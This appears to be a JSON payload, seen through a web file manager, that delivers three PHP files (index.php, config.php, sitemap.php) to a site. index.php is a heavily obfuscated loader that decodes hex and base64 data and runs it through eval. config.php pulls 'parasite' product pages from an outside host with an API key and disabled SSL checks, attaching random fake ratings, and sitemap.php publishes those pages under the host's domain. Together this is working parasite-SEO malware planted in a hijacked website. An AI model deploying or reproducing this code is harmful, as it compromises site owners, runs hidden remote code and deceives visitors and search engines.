e354c675430765559537374337951686b31725a62754f4e5a785a324d514631644f5241724f595561654d5048386168565a4e2f38416d74627131626f756450486551464c44515969396c38744c544872544f337a78315973463255323839736e384a2b3031744e752b6b2f4d5a65374a6f5738614f66525773465356612b7733456a71716f327050313150566338644f464a4f4b5a6a30562b4f4f78387746566a7243733357457679713765627157526b736c4e76523050756d7569664d592b716662306c747236642f74322f6d4e6136323366454551522b36544d684a44494c58334c50707a354e6667497138475566586e487a6b4748566538486a7756453477316a41654e784c4343656f732b433566623565684349727935332b6b633531383937375a45584265625465624c5775664e6b4c446562316a587a343866675171317a70587a5552336d795365454f4d4b395435386e6d3757684a506f36715070414836364632654435624330585863636e437630412b45736850444b68745038673335646133594a4a466278396e4e664f485774556a65774a6658545436474555575a31326b30564a64523536444f726f64657975363571416865356266674c68714a4766623852766b4b426c48624b7958775a3647374354354e4a3672564c68757576767271566d6a72352f786b302b566a70362f5a36487369372b762b776950336a386d314774396d6138674e4c2b39527a624e327331673634305437484f2b794d326c4b66347975635a466c51504c54314d504d437465585071395132737a2f7649754e314b6a575a737862566c7649523547556a433368756b6a4c68784b3464617a4d592f452b376b574a59625750566f6a395536496b4f38783376797834755856327132344534685a623154314b502b612f624b374e6372674644334b52614f6e537a544f33426651774c724f69664b5637647258684130666646447578426a6275683169725a72565a522f72596d4c644f79725743596c3972596a71302f4777657535347546506e47307239305935646b3933572f4b2f4d42667574682b732f776e533764704b6439522b382f72654f50586b2b4a55506e49337933756d79754478796f647937577759664278326c47316944585338665242354d36397544726b51416e6250312b704a6f664836316e5178764774556b44612f484637747747452b736d424e794f764b30513576484345567a44636f696a445a337659386463347975666c2f564d696c617a7853614f7868334f68397837333876576d726f4648334152372f797242474e6245494276566664693932384a636554752b7a332b535656336a4f7658786b373730586b7a7a785838435a7a72436245747450455a644176587a4133642b792b337a43616e6e68584f46672b75322b394e786f6f377473593963546275334d4e3435785070507273656f787969542f6f773267514437663771746764634d6c6864443858456e77432f41787559547178564d4446754a344e322f5042355461656a3048737678517a6d3559627a7039685773692f572b4f4a5739396865494e4d4a45634b6c4b7378615771614c2b3862644856734b6a6c7350754d786a30795879766e764374636e594e574e6a724e5778524c6d66526435547873744f344e527252564e6e71642b54656a3351786841695038412b642b2b7564593236776658712b6a617769566a62727a76597449494d31783275544b4e46637a4d64563132316e6271756c666e4c6f4d43366c69757271356d456134747750772b49312b7661374e314d646b656f7a34476e4c384d6933636b76674a364e585a6876547a71623751746c50324d4456385854314c6e4c2f44665068344866687a69756533585748456f7a42362b6461443250552f4c6c2b3349744e556b4963734b6c44706766746b67573952487a6531654f614d334f6d542b71397672672f562f48376c736c6936703372387a72535a687a65346a7a55322b374d4b5831447334487a6d614447443075736b735038304d44774a6d33357350394b6b395a4e4e61386e6f44586848587570637a44712b657542645036644b6571717879374e353731476d3061484a4c7142733146384c30647a73386e745759663876626f66647738646d3755695157514b782f7a6d664f5a65584d744b496c4f55413976316a7645307534726e7a7a5558542f5673466545327a724555634e65506d73464b3979546f2b59663441655672753265552f2f37566333766848744a305a374565693870573866385a34574a66483874354c47326e5561346c3944623967737a3352556239525063472b6f456371662b6b754772374a54375458422f6d4b574e47477472534f366c6a5873317961356c7039566174385a2b45633339714661576d5159334f33554b79656f46644e306533334d41592f7842642b46374d4e654d38395a7852614a2b7352574d4b367a355641304375682f497a74354638344c6d52796436376b2f534f7869584d6e5a317a4165636339312b5873662b5a613169666e512b672f626336427358654c2f38472f6352703355664d563850516478542b6178717259444978743437733238326d2f745164453678586f62564f446732796252484e37374b65374c70454d317955626531474f796c326e4d4236366a6e6e4f7336422b3263694c647a62744b7662596e51506e7a73782b3264756364464f325666586f66586b47742f4a346362786a6d374e3561536a6248583536786a5a6e57764866353537446f47732b57303057736435727638524a4f6d6a6f673567792b426f7434366d4438615a4e6e6c7237446e55384d3277536b4a703167763065792f497a4b686563387a35694861664a314e7651372f4e48557371624858355a76474838302b3958715076785073513976676e434f362f384e46393272524f2f4d2b5373614458702f6746477636784b597369666f772f7544353462776e476336394d6437646d786a6c554c783976547573396a4f6f316e676d765650774f59484649383061584738653375727a362f48384c58422f65377131445a57764b2f57762f515978654c764f4f356238355352373937556138797164653739697870325954703073707a4a7563484a75367950333750505a324974524f31464f78616e586535667a715a35394c58615674362f586e4b756e7942324a7a58312b6945334f377166346e673438623839726c4d684454364b2f595631766b6450387a50336c76502b6978694a44504d582b46575a6a33796e4b74654d72753433637139487a782f63467a33763231476c76412b7974474a5a315339782f382b4565724d4b2f786b35646b3473794d724a61574a4d545236596b3474726237314d6e6d46683176592f764137694f5135746b343154342b4d613947744a4432522b2f39317835324d2f57487646392b666a34566b462f772f592f487464313943424e633073777353644a4743736441724a4d7035357a397776776f614b786e3844786131626a4b69357337396a6a4f6650503964354577716e5774597765372f38676a7434772f6d466a6a7075396935336a393579553631703533324a686e643276734a345870356d2f3235366964356a645236764875667333522f6a6641466e4831744b5872497975755633374b666e57324266536d307033574a395a6a6d3139614f482b356d2f384e776f65376a632f636b2b785831653170784f5848567358325042443633506e38386e4f476b476c4f48372b72367748386c377a496e68794c65513539775770317264776644702b6e72764d37786f3848364b656551316f33662f4b783767355461394e6331316679505a5a62757a7479663432307a7132453955786c487250794d41544e3945777658755946396c6438382f2f7a6c437a72735a364e6e4366796a575241677535412b757a716e6a596d726a7143502b4f304869594c617a4d624f376a2f4175732b322f75776546474a2f35624b3531793358387779504c47764e7a624b626e4874576658536e666c534a392f6a523659764f37624b48735954704a2f5a6e45527438757a353539627245646a352b2b436255355364786e5866495468442b556a516e6a726e6a662f76486a732b303451693277652f68326745567337416d4e75786e6236656964587177524c6b67623474775375334f5839562b4d4e39696c7372487570382b66487a6755773236727a6e334b4d2b2f39382b76444862372f396672376a372f2b6878352f3039522f3833542f2f654d6e706a584d504f6648763951332f3851482f2b2b482f71747457492f2f62622b2f2f2f4f2f2b383975754c76786a522f6d594b767a7a6a2f3848733130714b773d3d)u)C)47072696e7466)u)C)45f5f5f46494c455f5f5f)u)C)462324a665a32563058324e76626e526c626e527a)u)C)4636d563064584a75494756325957776f4a4638704f773d3d)u)C)4245f)u)C)4202062324a6663335268636e513d)u)C)4205a337031626d4e76625842795a584e7a)u)C)42020202062324a665a57356b58324e735a574675)u)C)44c6f6164696e67203132303332373838316339316661616631636331646439643664616137626461');goto vxWPY; H2IB3: $__________($______($__($_))); goto a4jyi; JVgoU: $__________________ = call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(4 - 6 + 8) + -6], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(4 - 9 + 7) + -1]); goto T26jw; ZoOUd: if (!call_user_func(call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(1 - 7 + 1) + 5], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(8 + 9 + 5) + -20]), call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(7 + 8 - 6) + -9], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(9 - 2 + 1) + -5]))) { function __lambda($sArgs, $sCode) { return eval(\"return function({$sArgs}){{$sCode}};\"); } } goto nW4UU; Ll9gG: $__ = call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(4 + 7 - 4) + -7], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(10 - 8 + 2) + 0]); goto f12SA; a4jyi: $________ = $____(); goto lX6rs; ZPRdO: $____ = $__($____); goto a2ocg; NBfyR: $_ = call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(8 + 3 - 2) + -9], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(8 - 6 + 1) + 2]); goto k7L1w; JoBAQ: $__ = call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(2 - 2 - 6) + 6], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(9 - 6 + 3) + 0]); goto xiA8R; q07Eb: $_____ = $__($_____); goto ZPRdO; vxWPY: $GLOBALS[call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(7 - 7 - 5) + 5], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(4 - 7 + 3) + 7])] = __FILE__; goto JoBAQ; SJDP9: $____ = call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(7 + 7 - 10) + -4], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(4 - 3 - 6) + 13]); goto Ll9gG; On7sz: $______________ = call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(9 - 5 + 4) + -8], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(10 + 2 - 4) + 1]); goto JVgoU; lX6rs: $_____(); goto VIUT8; NPKgG: $__________ = $__________________(call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(5 - 8 - 3) + 6], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(4 - 7 + 1) + 12]), $______________); goto q07Eb; k7L1w: $___(); goto H2IB3; X_Poq: $______________ = $__($______________); goto NPKgG; dAZ3J: $___ = call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(7 - 9 - 1) + 3], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(9 - 4 - 4) + 10]); goto SJDP9; f12SA: $______ = $__($______); goto ZoOUd; nW4UU: $__________________ = $__($__________________); goto X_Poq; T26jw: $______ = call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(1 - 3 - 9) + 11], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(4 + 5 - 3) + 6]); goto dAZ3J; QxpJc: $_____ = call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(7 + 7 + 2) + -16], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(8 - 5 + 5) + 5]); goto On7sz; xiA8R: $_ = call_user_func('pack', $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(1 + 10 + 7) + -18], $GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__][(2 - 2 + 9) + 5]); goto QxpJc; a2ocg: $___ = $__($___); goto NBfyR; VIUT8: echo $________;\n","path":"index.php"},{"content":"<?php\n\ndate_default_timezone_set('UTC');\n\nif (!defined('USE_CURL')) {\n    define('USE_CURL', false); \/\/ true=\u4f7f\u7528curl, false=\u4f7f\u7528file_get_contents\n}\n\n$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';\n$protocol = \"https:\/\/\";\n$site_domain = $host;\n\n$document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '\/var\/www\/html';\n$script_path = str_replace($document_root, '', __DIR__);\n$base_parasite_url = rtrim($protocol . $site_domain, '\/');\n$GLOBALS['base_parasite_url'] = $base_parasite_url;\n\n\n$default_data = array(\n    'brand' => 'Generic Brand',\n    'rating' => array(\n        'score' => number_format(rand(40, 50) \/ 10, 1),\n        'count' => rand(15, 150)\n    ),\n    'currency' => 'USD',\n    'default_image' => 'https:\/\/cdn.suruga-ya.jp\/database\/images\/no_photo.jpg'\n);\n\n\ndefine('API_BASE_URL', 'https:\/\/gateway.gvhfdahg.com\/api\/parasiteData\/getParasiteData');\ndefine('API_KEY', '04389a5c3f29fe8be81b6ef8d5e893ae26220a649df12c8694d059c6d5bdd564');\ndefine('API_DOMAIN', 'gateway.gvhfdahg.com');\ndefine('ASITE_DOMAIN', 'https:\/\/vmt.world');\ndefine('ID_OFFSET', 0);\ndefine('URL_TEMPLATE', 'products\/{title}\/?srsltid={id}');\n\nif (!function_exists('getParasiteData')) {\n    function getParasiteData($productId = null) {\n        $url = API_BASE_URL;\n        \n        $needTitle = strpos(URL_TEMPLATE, '{title}') !== false;\n        \n        $params = array();\n        if ($productId) {\n            $params['product_id'] = $productId;\n        }\n        if ($needTitle) {\n            $params['title'] = 'true';\n        }\n        \n        if (!empty($params)) {\n            $url .= '?' . http_build_query($params);\n        }\n        \n        if (USE_CURL) {\n            $ch = curl_init();\n            curl_setopt($ch, CURLOPT_URL, $url);\n            curl_setopt($ch, CURLOPT_HTTPHEADER, array(\n                'X-API-Key: ' . API_KEY,\n                'Host: ' . API_DOMAIN,\n                'Origin: ' . ASITE_DOMAIN,\n                'Referer: ' . ASITE_DOMAIN . '\/',\n                'User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36'\n            ));\n            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n            curl_setopt($ch, CURLOPT_TIMEOUT, 10);\n            \n            $response = curl_exec($ch);\n            curl_close($ch);\n        } else {\n            $headers = array(\n                'X-API-Key: ' . API_KEY,\n                'Host: ' . API_DOMAIN,\n                'Origin: ' . ASITE_DOMAIN,\n                'Referer: ' . ASITE_DOMAIN . '\/',\n                'User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36'\n            );\n            $context = stream_context_create(array(\n                'http' => array(\n                    'timeout' => 10,\n                    'header' => implode(\"\\r\\n\", $headers)\n                )\n            ));\n            $response = @file_get_contents($url, false, $context);\n        }\n        \n        if ($response === false) {\n            return null;\n        }\n        \n        $result = json_decode($response, true);\n        return isset($result['data']) ? $result['data'] : null;\n    }\n}\n\nif (!function_exists('getSitemapData')) {\n    function getSitemapData() {\n    $url = 'https:\/\/' . API_DOMAIN . '\/api\/parasiteData\/getSitemapData';\n    \n    \/\/ ???????????????\n    $needTitle = strpos(URL_TEMPLATE, '{title}') !== false;\n    if ($needTitle) {\n        $url .= '?title=true';\n    }\n    \n    if (USE_CURL) {\n        $ch = curl_init();\n        curl_setopt($ch, CURLOPT_URL, $url);\n        curl_setopt($ch, CURLOPT_HTTPHEADER, array(\n            'X-API-Key: ' . API_KEY,\n            'Host: ' . API_DOMAIN,\n            'Origin: ' . ASITE_DOMAIN,\n            'Referer: ' . ASITE_DOMAIN . '\/',\n            'Content-Type: application\/json',\n            'Accept: application\/json',\n            'User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36'\n        ));\n        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n        curl_setopt($ch, CURLOPT_TIMEOUT, 30);\n        \n        $response = curl_exec($ch);\n        curl_close($ch);\n    } else {\n        $headers = array(\n            'X-API-Key: ' . API_KEY,\n            'Host: ' . API_DOMAIN,\n            'Origin: ' . ASITE_DOMAIN,\n            'Referer: ' . ASITE_DOMAIN . '\/',\n            'Content-Type: application\/json',\n            'Accept: application\/json',\n            'User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36'\n        );\n        $context = stream_context_create(array(\n            'http' => array(\n                'timeout' => 30,\n                'header' => implode(\"\\r\\n\", $headers)\n            )\n        ));\n        $response = @file_get_contents($url, false, $context);\n    }\n    \n    if ($response === false) {\n        return null;\n    }\n    \n    $result = json_decode($response, true);\n    return isset($result['data']) ? $result['data'] : null;\n    }\n}\n\nif (!function_exists('buildProductUrl')) {\n    function buildProductUrl($productId, $productTitle = null) {\n    $template = URL_TEMPLATE;\n    $baseUrl = $GLOBALS['base_parasite_url'];\n    \n    $displayId = (int)$productId + ID_OFFSET;\n    \n    if (strpos($template, '?') === 0) {\n        return $baseUrl . '\/' . str_replace('{id}', $displayId, $template);\n    } else {\n        $url = $template;\n        \n        if (strpos($template, '{title}') !== false) {\n            if ($productTitle) {\n                $cleanTitle = cleanTitleForURL($productTitle);\n                $url = str_replace('{title}', $cleanTitle, $url);\n            } else {\n                $url = str_replace('{title}', 'product', $url);\n            }\n        }\n        \n        $url = str_replace('{id}', $displayId, $url);\n        \n        if (strpos($url, '?') !== false) {\n            return $baseUrl . '\/' . $url;\n        } else {\n            return $baseUrl . '\/' . $url . '\/';\n        }\n    }\n    }\n}\n\nif (!function_exists('cleanTitleForURL')) {\n    function cleanTitleForURL($title) {\n    if (empty($title)) {\n        return '';\n    }\n    \n    $title = strtolower($title);\n    $title = preg_replace('\/[^a-z0-9\\s-]\/', '', $title);\n    $title = preg_replace('\/\\s+\/', '-', $title);\n    $title = preg_replace('\/-+\/', '-', $title);\n    $title = trim($title, '-');\n    \n    if (empty($title)) {\n        $title = '';\n    }\n    \n    return $title;\n    }\n}\n\nif (!function_exists('parseProductId')) {\n    function parseProductId($requestUri) {\n    $template = URL_TEMPLATE;\n    $displayId = null;\n    \n    if (strpos($template, '?') === 0) {\n        $query = parse_url($requestUri, PHP_URL_QUERY);\n        parse_str($query, $params);\n        $paramName = trim($template, '?={id}');\n        $displayId = isset($params[$paramName]) ? $params[$paramName] : null;\n    } elseif (strpos($template, '?') !== false) {\n        $query = parse_url($requestUri, PHP_URL_QUERY);\n        parse_str($query, $params);\n        $queryPart = substr($template, strpos($template, '?') + 1);\n        if (preg_match('\/(\\w+)=\\{id\\}\/', $queryPart, $matches)) {\n            $paramName = $matches[1];\n            $displayId = isset($params[$paramName]) ? $params[$paramName] : null;\n        }\n        \n        if ($displayId === null) {\n            $path = parse_url($requestUri, PHP_URL_PATH);\n            $segments = explode('\/', trim($path, '\/'));\n            $pathPart = substr($template, 0, strpos($template, '?'));\n            $pathTemplateSegments = explode('\/', $pathPart);\n            \n            foreach ($pathTemplateSegments as $index => $segment) {\n                if ($segment === '{id}' && isset($segments[$index])) {\n                    $displayId = $segments[$index];\n                    break;\n                }\n            }\n            \n            if ($displayId === null && count($segments) > 1) {\n                $lastSegment = end($segments);\n                if (is_numeric($lastSegment)) {\n                    $displayId = $lastSegment;\n                }\n            }\n        }\n    } else {\n        $path = parse_url($requestUri, PHP_URL_PATH);\n        $segments = explode('\/', trim($path, '\/'));\n        $templateSegments = explode('\/', $template);\n        \n        if (strpos($template, '{title}') !== false) {\n            foreach ($templateSegments as $index => $segment) {\n                if ($segment === '{id}' && isset($segments[$index])) {\n                    $displayId = $segments[$index];\n                    break;\n                }\n            }\n        } else {\n            foreach ($templateSegments as $index => $segment) {\n                if ($segment === '{id}' && isset($segments[$index])) {\n                    $displayId = $segments[$index];\n                    break;\n                }\n            }\n        }\n        \n        if ($displayId === null) {\n            $query = parse_url($requestUri, PHP_URL_QUERY);\n            if ($query && strpos($query, 'shopdetail\/') === 0) {\n                $queryPath = trim($query, '\/');\n                $querySegments = explode('\/', $queryPath);\n                \n                $shopdetailIndex = array_search('shopdetail', $querySegments);\n                if ($shopdetailIndex !== false && isset($querySegments[$shopdetailIndex + 2])) {\n                    $displayId = end($querySegments);\n                }\n            }\n        }\n    }\n    \n    if ($displayId !== null && is_numeric($displayId)) {\n        return $displayId - ID_OFFSET;\n    }\n    \n    return null;\n    }\n}\n\n\n","path":"config.php"},{"content":"<?php\nheader('Content-Type: application\/xml; charset=utf-8');\n\n\/\/ Load config.gz first, fallback to config.php\n$_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\nif (file_exists($_z)) {\n    @include_once 'compress.zlib:\/\/' . $_z;\n} elseif (file_exists(__DIR__ . '\/config.php')) {\n    $_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\nif (file_exists($_z)) @include_once 'compress.zlib:\/\/' . $_z;\n}\n\ntry {\n    $data = getSitemapData();\n    if (!$data || !isset($data['urls'])) {\n        throw new Exception(\"Invalid API response format\");\n    }\n    \n    $urls = $data['urls'];\n    $domain = $host;\n    \n    $xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\";\n    $xml .= \"<urlset xmlns=\\\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\\\">\\n\";\n    \n    foreach ($urls as $url_data) {\n        $product_id = $url_data['id'];\n        $crawled_at = $url_data['crawled_at'];\n        $product_title = isset($url_data['title']) ? $url_data['title'] : null;\n        \n        $loc = buildProductUrl($product_id, $product_title);\n        $lastmod = date('Y-m-d', strtotime($crawled_at));\n        \n        $xml .= \"  <url>\\n\";\n        $xml .= \"    <loc>\" . htmlspecialchars($loc) . \"<\/loc>\\n\";\n        $xml .= \"    <lastmod>\" . htmlspecialchars($lastmod) . \"<\/lastmod>\\n\";\n        $xml .= \"    <changefreq>daily<\/changefreq>\\n\";\n        $xml .= \"  <\/url>\\n\";\n    }\n    \n    $xml .= \"<\/urlset>\";\n    \n    echo $xml;\n    \n} catch (Exception $e) {\n    error_log(\"Sitemap generation error: \" . $e->getMessage());\n    \n    $xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\";\n    $xml .= \"<urlset xmlns=\\\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\\\">\\n\";\n    $xml .= \"<\/urlset>\";\n    \n    echo $xml;\n} ","path":"sitemap.php"}],"site":"44507"},"msg":"\u6210\u529f"}

← Back to Directory Edit File 🔒 Chmod

WP File Manager